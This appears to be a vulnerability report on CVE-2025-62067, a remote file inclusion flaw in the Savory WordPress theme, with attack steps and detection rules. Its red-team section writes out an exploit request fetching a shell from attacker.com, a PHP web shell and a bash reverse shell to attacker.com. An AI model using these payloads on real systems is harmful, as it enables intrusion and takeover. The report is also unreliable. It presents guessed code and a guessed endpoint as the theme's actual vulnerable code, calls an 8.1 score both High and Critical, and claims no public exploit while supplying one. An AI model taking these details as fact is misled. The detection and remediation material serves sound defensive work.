CVE-2025-62067

Executive Summary

CVE-2025-62067 is a critical PHP Remote File Inclusion (RFI) vulnerability affecting the Savory WordPress theme by Elated-Themes, up to and including version 2.5. This vulnerability allows an unauthenticated attacker to remotely include arbitrary files from external servers, leading to full remote code execution (RCE), data exfiltration, and complete site compromise. The flaw resides in improper control of filenames used in PHP include/require statements, enabling an attacker to inject a malicious URL that the server will fetch and execute.

Given that this is a WordPress theme vulnerability, the attack surface is broad, as many sites may be running outdated versions. The lack of a confirmed patch and the high CVSS score (8.1) make this a high-priority threat for defenders.

Supply Chain & Package Security

This vulnerability is part of the WordPress ecosystem, specifically a commercial theme. The supply chain risk is elevated because:

• No official patch has been released by Elated-Themes.
• No OSV or GitHub advisory data is available, indicating poor vulnerability management.
• No known exploit code is public, but the vulnerability class (RFI) is well-understood and easily weaponized.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerable component only.
• Confidentiality Impact: High (C:H) – full file read.
• Integrity Impact: High (I:H) – arbitrary code execution.
• Availability Impact: High (A:H) – potential for denial of service.

Threat Level: Critical. The combination of remote exploitation, no authentication, and full impact makes this a top-tier threat.

Deep Dive & Mechanics

The vulnerability is a classic PHP Remote File Inclusion (RFI) in the Savory theme. The theme likely uses a function like include($_GET['file']); or require($_GET['template']); without proper sanitization or whitelisting. An attacker can supply a URL (e.g., http://evil.com/shell.txt) as the file parameter, and the server will fetch and execute the remote PHP code.

Root Cause: The theme fails to validate that the included file is within the allowed theme directory. PHP’s allow_url_include directive must be enabled for RFI to work, but many shared hosting environments have it enabled by default.

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., /wp-content/themes/savory/template.php?file=).
2. Attacker hosts a malicious PHP payload on a server they control.
3. Attacker sends a request: GET /wp-content/themes/savory/template.php?file=http://attacker.com/shell.txt
4. The server includes the remote file, executing the attacker’s code.
5. Attacker gains a web shell, executes system commands, and exfiltrates data.

Vulnerable vs. Patched Code

Vulnerable Code (Savory <= 2.5):

<?php
// template.php
$file = $_GET['file'];
include($file);
?>

Patched Code (Hypothetical):

<?php
// template.php
$allowed_files = array('header.php', 'footer.php', 'sidebar.php');
$file = basename($_GET['file']);
if (in_array($file, $allowed_files)) {
    include(__DIR__ . '/' . $file);
} else {
    // Error handling
}
?>

The patched version uses a whitelist, restricts to the current directory, and uses basename() to prevent directory traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with Savory theme version 2.5.
2. Ensure allow_url_include = On in php.ini.
3. Set up a listener on attacker machine: nc -lvnp 80
4. Create a malicious PHP file (shell.txt):

<?php system($_GET['cmd']); ?>

Exploit Request:

curl "http://target.com/wp-content/themes/savory/template.php?file=http://attacker.com/shell.txt&cmd=id"

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Advanced Payload (Reverse Shell):

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"); ?>

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for include parameters containing http:// or https://.
2. Look for outbound connections to unknown IPs on port 80/443 from the web server.
3. Check for unexpected files in /tmp or web-accessible directories.
4. Verify allow_url_include is disabled in php.ini.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri=*file=*
| rex field=uri "file=(?<file_param>[^&]+)"
| where match(file_param, "^https?://")
| stats count by src_ip, uri

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_62067_RFI_Attempt {
    meta:
        description = "Detects RFI attempts targeting Savory theme CVE-2025-62067"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62067"
    strings:
        $http = /file=http:\/\// nocase
        $https = /file=https:\/\// nocase
        $include = /include\(.*\$_(GET|POST|REQUEST)\[.*file/ nocase
    condition:
        any of ($http, $https) or $include
}

Sigma Rule

title: CVE-2025-62067 Savory Theme RFI Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with file parameter containing http/https
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - 'file=http://'
            - 'file=https://'
    condition: selection
falsepositives:
    - Legitimate use of remote includes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-62067 Savory Theme RFI Attempt";
    flow:to_server,established;
    content:"file="; http_uri;
    pcre:"/file=https?:\/\//i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-62067;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Savory theme and switch to a different theme until a patch is available.
2. Disable allow_url_include in php.ini:

   allow_url_include = Off
   

3. Implement a Web Application Firewall (WAF) rule to block file parameters containing http:// or https://.
4. Restrict outbound traffic from the web server to only necessary destinations.

Long-term Fix:

• Contact Elated-Themes for a patched version.
• If no patch is forthcoming, consider replacing the theme permanently.
• Conduct a code review of all custom themes/plugins for similar RFI vulnerabilities.

Verification:

• After applying mitigations, test with:

  curl -v "http://target.com/wp-content/themes/savory/template.php?file=http://test.com/test.txt"
  

  Expected: 403 Forbidden or empty response.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2025-62067